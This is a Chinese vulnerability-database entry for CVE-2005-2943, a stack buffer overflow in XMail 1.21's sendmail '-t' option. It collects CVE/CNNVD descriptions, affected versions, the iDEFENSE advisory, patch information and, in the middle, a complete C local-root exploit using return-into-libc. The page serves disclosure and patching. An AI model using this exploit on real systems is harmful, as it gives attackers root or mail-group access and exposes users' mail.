CVE-2005-2943
CVSS7.5
发布时间 :2005-10-13 18:02:00
修订时间 :2008-09-05 16:53:02
NMCOEPS    

[原文]Stack-based buffer overflow in sendmail in XMail before 1.22 allows remote attackers to execute arbitrary code via a long -t command line option.


[CNNVD]Xmail sendmail 命令行参数 远程溢出漏洞(CNNVD-200510-077)

        XMail是一款Internet和intranet邮件服务程序。
        Xmail 1.22及以前版本种的sendmail存在栈溢出漏洞。允许攻击者通过一个长 '-t'命令行选项执行任意代码XMail的AddressFromAtPtr函数无法检查其他函数所传递参数的边界,这样在指定"-t"命令行选项时会导致栈溢出。"-t"命令行选项允许用户在消息文本中以"To:"开始的行指定收件人值。XMail没有对AdressFromAtPtr执行边界检查便传送了用户所提供的值,并试图将邮件地址的主机名部分值存贮在256个字节的缓冲区内。特制的邮件地址可以溢出缓冲区,覆盖栈进程控制数据,导致以提升的权限本地执行代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:davide_libenzi:xmail:1.16
cpe:/a:davide_libenzi:xmail:1.0
cpe:/a:davide_libenzi:xmail:1.7
cpe:/a:davide_libenzi:xmail:1.12
cpe:/a:davide_libenzi:xmail:1.11
cpe:/a:davide_libenzi:xmail:1.2
cpe:/a:davide_libenzi:xmail:1.14
cpe:/a:davide_libenzi:xmail:1.5
cpe:/a:davide_libenzi:xmail:1.9
cpe:/a:davide_libenzi:xmail:1.21
cpe:/a:davide_libenzi:xmail:1.20
cpe:/a:davide_libenzi:xmail:1.1
cpe:/a:davide_libenzi:xmail:1.18
cpe:/a:davide_libenzi:xmail:1.8
cpe:/a:davide_libenzi:xmail:1.6
cpe:/a:davide_libenzi:xmail:1.17
cpe:/a:davide_libenzi:xmail:1.19
cpe:/a:davide_libenzi:xmail:1.3
cpe:/a:davide_libenzi:xmail:1.4
cpe:/a:davide_libenzi:xmail:1.10
cpe:/a:davide_libenzi:xmail:1.15

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2943
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2943
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200510-077
(官方数据源) CNNVD

- 其它链接及资源

http://www.idefense.com/application/poi/display?id=321&type=vulnerabilities
(VENDOR_ADVISORY)  IDEFENSE  20051013 Multiple Vendor XMail 'sendmail' Recipient Buffer Overflow Vulnerability
http://www.xmailserver.org/ChangeLog.html#oct_12__2005_v_1_22
(UNKNOWN)  CONFIRM  http://www.xmailserver.org/ChangeLog.html#oct_12__2005_v_1_22
http://xforce.iss.net/xforce/xfdb/22724
(UNKNOWN)  XF  xmail-addressfromatptr-bo(22724)
http://www.securityfocus.com/bid/15103
(UNKNOWN)  BID  15103
http://www.osvdb.org/20010
(UNKNOWN)  OSVDB  20010
http://www.gentoo.org/security/en/glsa/glsa-200512-05.xml
(UNKNOWN)  GENTOO  GLSA-200512-05
http://www.debian.org/security/2005/dsa-902
(UNKNOWN)  DEBIAN  DSA-902
http://securitytracker.com/id?1015055
(UNKNOWN)  SECTRACK  1015055
http://securityreason.com/securityalert/81
(UNKNOWN)  SREASON  81
http://secunia.com/advisories/18052
(UNKNOWN)  SECUNIA  18052
http://secunia.com/advisories/17637
(UNKNOWN)  SECUNIA  17637
http://secunia.com/advisories/17194
(UNKNOWN)  SECUNIA  17194

- 漏洞信息

Xmail sendmail 命令行参数 远程溢出漏洞
高危 缓冲区溢出
2005-10-13 00:00:00 2005-10-20 00:00:00
本地  
        XMail是一款Internet和intranet邮件服务程序。
        Xmail 1.22及以前版本种的sendmail存在栈溢出漏洞。允许攻击者通过一个长 '-t'命令行选项执行任意代码XMail的AddressFromAtPtr函数无法检查其他函数所传递参数的边界,这样在指定"-t"命令行选项时会导致栈溢出。"-t"命令行选项允许用户在消息文本中以"To:"开始的行指定收件人值。XMail没有对AdressFromAtPtr执行边界检查便传送了用户所提供的值,并试图将邮件地址的主机名部分值存贮在256个字节的缓冲区内。特制的邮件地址可以溢出缓冲区,覆盖栈进程控制数据,导致以提升的权限本地执行代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://www.xmailserver.org/

- 漏洞信息 (1267)

XMail 1.21 (-t Command Line Option) Local Root Buffer Overflow Exploit (EDBID:1267)
linux local
2005-10-20 Verified
0 qaaz
N/A [点击下载]
/*
* XMail 1.21 'sendmail' local exploit (ret-into-libc)
* Yields uid root || gid mail
* By qaaz [at] centrum [dot] cz, 2005
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/select.h>


#define TARGET "/var/MailRoot/bin/sendmail"

#define NM "nm"
#define GREP "grep"
#define MKDIR "mkdir"
#define TMP "/tmp"
#define MAILROOT TMP"/mr"

#define ID "/usr/bin/id"
#define SH "/bin/sh"

#define OVERLEN (256+12 + 16)
/* EmitRecipients() stack */
/* | locals + padding + PUSHes | RET | Arg1... | */
/* |<--------- OVERLEN ------->| */

#define MAX(x,y) (((x)>(y)) ? (x) : (y))

char *libc_file = NULL;
unsigned int libc_base = 0;
unsigned int stack_base = 0;

unsigned int file_addr = 0;
unsigned int system_addr = 0;

int pid;
int pi[2], po[2], pe[2];

void sigchild(int sig)
{
if (waitpid(pid, NULL, WNOHANG) == pid) {
printf("[*] Vuln terminated\n");
exit(-1);
}
}

void killchild()
{
if (pid) kill(pid, SIGKILL);
}

char bad_chars(char *buf, int len)
{
int i;
if (len == 0) len == strlen(buf);
for (i = 0; i < len; i++) {
if (!buf[i] || strchr("<> \t,\":;'\r\n", buf[i]))
return buf[i];
}
return 0;
}

unsigned int get_sym(char *lib, char *sym)
{
FILE *f;
char buf[1024];
unsigned int val = 0;

sprintf(buf, "%s -D %s | %s -w %s", NM, lib, GREP, sym);
if (f = popen(buf, "r")) {
fgets(buf, sizeof(buf), f);
sscanf(buf, "%08lx %*s %*s", &val);
pclose(f);
}
return val;
}

unsigned int check_sym(char *lib, char *sym, unsigned int base)
{
unsigned int offs = get_sym(lib, sym);
unsigned int addr = base + offs;

if (!offs) {
printf("[-] %s: not found?\n", sym);
return 0;
}
if (bad_chars((char *) &addr, 4)) {
printf("[-] %s: 0x%08x, bad chars\n", sym, addr);
return 0;
}
printf("[+] %s: 0x%08x\n", sym, addr);
return addr;
}

void do_maps(int pid)
{
FILE *f;
char buf[1024];

sprintf(buf, "/proc/%d/maps", pid);
if (!(f = fopen(buf, "r"))) return;

while (fgets(buf, sizeof(buf), f)) {
unsigned int addr_beg, addr_end;
char pathname[1024];
int offset;

pathname[0] = 0;
sscanf(buf, "%08lx-%08lx %*s %08lx %*s %*s %s",
&addr_beg, &addr_end, &offset, pathname);

if (offset < 0)
stack_base = addr_end;
else if (strstr(pathname, "/libc") && (!libc_base || addr_beg < libc_base))
libc_base = addr_beg, libc_file = (char *) strdup(pathname);
}
fclose(f);
}

void do_syms()
{
if (!(file_addr = check_sym(libc_file, "stdout", libc_base))
&& !(file_addr = check_sym(libc_file, "stderr", libc_base))
&& !(file_addr = check_sym(libc_file, "stdin", libc_base))) {
printf("[-] Can't use std files\n");
exit(-1);
}

if (!(system_addr = check_sym(libc_file, "system", libc_base))) {
printf("[-] Can't use system()\n");
exit(-1);
}
}

void do_shell()
{
fd_set fds;
struct timeval tv;
int retval, maxfd;
char buf[1024];

maxfd = MAX(0, MAX(po[0], pe[0])) + 1;

while (1) {
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(po[0], &fds);
FD_SET(pe[0], &fds);
tv.tv_sec = 0;
tv.tv_usec = 100;

if (select(maxfd, &fds, NULL, NULL, &tv) == -1) break;

if (FD_ISSET(0, &fds)) {
if ((retval = read(0, buf, sizeof(buf))) <= 0) break;
write(pi[1], buf, retval);
}
if (FD_ISSET(po[0], &fds)) {
if ((retval = read(po[0], buf, sizeof(buf))) <= 0) break;
write(1, buf, retval);
}
if (FD_ISSET(pe[0], &fds)) {
if ((retval = read(pe[0], buf, sizeof(buf))) <= 0) break;
write(2, buf, retval);
}
}
}

int main(int argc, char *argv[])
{
if (argc > 1 && !strcmp(argv[1], "-sh")) {
setresuid(geteuid(), geteuid(), geteuid());
setresgid(getegid(), getegid(), getegid());
system(ID);
execl(SH, SH, "-i", NULL);
perror("execl");
exit(-1);
}

if (pipe(pi) || pipe(po) || pipe(pe)) {
perror("[-] pipe");
return -1;
}

if ((pid = fork()) == -1) {
perror("[-] fork");
return -1;
}

if (pid) {
unsigned int i;
char buf[10*1024];

atexit(killchild);
signal(SIGCHLD, sigchild);
sleep(1);

printf("[*] Reading maps...\n");
do_maps(pid);
printf("[%c] libc: 0x%08x\n", libc_base?'+':'-', libc_base);
if (!libc_base) exit(-1);
printf("[%c] stack: 0x%08x\n", stack_base?'+':'-', stack_base);
if (!stack_base) exit(-1);

printf("[*] Getting symbols...\n");
do_syms();

strcpy(buf, "To: h4h4@");
for (i = 0; i < OVERLEN-5; i++) // "h4h4@" == 5
strcat(buf, "A");
strncat(buf, (char *) &system_addr, 4);
strncat(buf, (char *) &file_addr, 4);
i = stack_base - 5000;
strncat(buf, (char *) &i, 4);
strcat(buf, "\n");

write(pi[1], buf, strlen(buf));
sleep(1); do_shell();
printf("[*] Done\n");
exit(1);
}
else {
char buf[10*1024];
char *_env[3] = { NULL, "MAIL_ROOT="MAILROOT, NULL };
char *_arg[3] = { TARGET, "-t", NULL };

sprintf(buf, "%s -p %s/spool/temp", MKDIR, MAILROOT);
system(buf);

sprintf(buf, "%10000s -sh", argv[0]);
_env[0] = (char *) strdup(buf);

printf("[*] Executing vuln...\n");

close(0); dup2(pi[0], 0);
close(1); dup2(po[1], 1);
close(2); dup2(pe[1], 2);
execve(_arg[0], _arg, _env);
perror("[-] execve");
return -1;
}

exit(1);
}

// milw0rm.com [2005-10-20]
		

- 漏洞信息 (F40728)

iDEFENSE Security Advisory 2005-10-13.1 (PacketStormID:F40728)
2005-10-15 00:00:00
iDefense Labs  idefense.com
advisory,overflow,arbitrary,local
CVE-2005-2943
[点击下载]

iDEFENSE Security Advisory 10.13.05-1 - Local exploitation of a buffer overflow vulnerability in XMail, as distributed with multiple vendors' operating systems, allows local attackers to execute arbitrary code with elevated privileges. iDEFENSE Labs has confirmed the existence of this vulnerability in XMail 1.21.

Multiple Vendor XMail 'sendmail' Recipient Buffer Overflow Vulnerability

iDEFENSE Security Advisory 10.13.05
www.idefense.com/application/poi/display?id=321&type=vulnerabilities
October 13, 2005

I. BACKGROUND

XMail is an Internet and intranet mail server. XMail sources compile
under GNU/Linux, FreeBSD, OpenBSD, NetBSD, OSX, Solaris and NT/2K/XP.

More information can be found at the vendor website:

   http://www.xmailserver.org/

II. DESCRIPTION

Local exploitation of a buffer overflow vulnerability in XMail, as
distributed with multiple vendors' operating systems, allows local
attackers to execute arbitrary code with elevated privileges.

The vulnerability exists because of insufficent bounds checking on
user-supplied data. Specifically, the AddressFromAtPtr function fails to
check bounds on arguments passed from other functions, and as a result
an exploitable stack overflow condition occurs when specifying the "-t"
command line option. The "-t" command line option allows users to
specify the recipient value in the text of the message on a line
beginning with "To:". XMail passes the user-supplied value without
bounds checking to AdressFromAtPtr and attempts to store the hostname
portion of the e-mail address in a 256-byte buffer. Crafted e-mail
addresses can overflow the buffer and overwrite stack process control
data, resulting in local code execution with elevated privileges.

III. ANALYSIS

Successful exploitation will result in code execution with elevated
privileges. XMail is distributed in RPM, DEB and source format. The RPM
distribution installs the sendmail binary with setuid root privileges.
Exploitation of XMail installed from RPM will yield root. Other
distribution formats install the sendmail binary as setgid mail.
Exploitation resulting in group mail privileges will allow an attacker
to read all unencrypted mail stored locally in the system mail folders.

IV. DETECTION

iDEFENSE Labs has confirmed the existence of this vulnerability in XMail
1.21.

V. WORKAROUND

As a workaround solution, local mail delivery can be restricted and a
standard mail user-agent may be used to talk to the XMail SMTP server.

VI. VENDOR RESPONSE

The vendor has released XMail 1.22 to address this issue which is
available for download at:

   http://www.xmailserver.org/

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-2943 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

10/12/2005  Initial vendor notification
10/12/2005  Initial vendor response
10/13/2005  Coordinated public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

X. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
    

- 漏洞信息

20010
XMail -t Argument Command Line Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in XMail. The 'AddressFromAtPtr()' function fails to perform proper bounds checking resulting in a buffer overflow. With a specially crafted request containing an overly long string to the -t argument, a malicious user can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-10-13 2005-10-12
Unknow Unknow

- 解决方案

Upgrade to version 1.22 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

XMail Local Buffer Overflow Vulnerability
Boundary Condition Error 15103
No Yes
2005-10-13 12:00:00 2009-07-12 05:56:00
Discover is credited to an anonymous researcher.

- 受影响的程序版本

XMail XMail 1.21
+ Debian Linux 3.1 sparc
+ Debian Linux 3.1 s/390
+ Debian Linux 3.1 ppc
+ Debian Linux 3.1 mipsel
+ Debian Linux 3.1 mips
+ Debian Linux 3.1 m68k
+ Debian Linux 3.1 ia-64
+ Debian Linux 3.1 ia-32
+ Debian Linux 3.1 hppa
+ Debian Linux 3.1 arm
+ Debian Linux 3.1 amd64
+ Debian Linux 3.1 alpha
+ Debian Linux 3.1
Gentoo Linux
XMail XMail 1.22

- 不受影响的程序版本

XMail XMail 1.22

- 漏洞讨论

XMail is prone to a local buffer-overflow vulnerability.

A successful attack can facilitate arbitrary code execution with elevated privileges. An attacker can gain superuser or group mail privileges, depending on the underlying operating system and distribution.

XMail 1.21 is reported to be vulnerable. Other versions may be affected as well.

- 漏洞利用


An exploit is available; please see the reference for futher details.

- 解决方案

Debian has released advisory DSA 902-1 to address this issue. Please see the referenced advisory for details on obtaining and applying fixes.

XMail version 1.22 is available to address this issue.


XMail XMail 1.21

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站